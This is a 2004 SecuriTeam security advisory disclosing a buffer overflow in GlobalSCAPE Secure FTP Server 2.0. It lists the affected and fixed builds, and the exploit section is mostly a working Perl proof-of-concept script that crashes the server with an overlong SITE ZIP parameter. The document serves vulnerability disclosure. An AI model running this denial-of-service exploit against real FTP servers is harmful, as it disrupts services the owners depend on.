Date: 17 Mar 2004 18:20:55 +0200
From: SecuriTeam <[email protected]>
To: [email protected]Subject: [NT] GlobalSCAPE Secure FTP Server Buffer Overflow (Parameter Handling)
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GlobalSCAPE Secure FTP Server Buffer Overflow (Parameter Handling)
------------------------------------------------------------------------
SUMMARY
A vulnerability in GlobalSCAPE Secure FTP Server allows a user issuing a
long parameter (around 252 bytes) as a value for a SITE command, to cause
the server to try and write to a value that is outside the memory location
of the Secure FTP Server's memory. This in will cause an exception to be
triggered (an un-handled exception), which causes the program to crash.
DETAILS
Vulnerable Systems:
* GlobalSCAPE Secure FTP Server version 2.0 Build 03.11.2004.2
Immune Systems:
* GlobalSCAPE Secure FTP Server version 2.0 Build 03.16.2004.1
Exploit:
To demonstrate this issue we will use the SITE ZIP command, even though
SITE ZIP isn't a supported command, and will use SITE ZIP's parameter
"/d:" provided after that command gets parsed, which causes the
vulnerability.
#!/usr/bin/perl
use IO::Socket;
$host = "192.168.1.243";
$remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "2117");
unless ($remote) { die "cannot connect to ftp daemon on $host" }
print "connected\n";
while (<$remote>)
{
print $_;
if (/220 /)
{
last;
}
}
$remote->autoflush(1);
my $ftp = "USER anonymous\r\n";
print $remote $ftp;
print $ftp;
sleep(1);
while (<$remote>)
{
print $_;
if (/331 /)
{
last;
}
}
$ftp = join("", "PASS ", "a\@b.com", "\r\n");
print $remote $ftp;
print $ftp;
sleep(1);
while (<$remote>)
{
print $_;
if (/230 /)
{
last;
}
}
$ftp = join ("", "SITE ZIP /d:", "A"x(252), "\r\n");
print $remote $ftp;
print $ftp;
sleep(1);
while (<$remote>)
{
print $_;
if (/250 Done/)
{
last;
}
}
close $remote;
ADDITIONAL INFORMATION
SecurITeam would like to thank <mailto:[email protected]> STORM for
finding this vulnerability.
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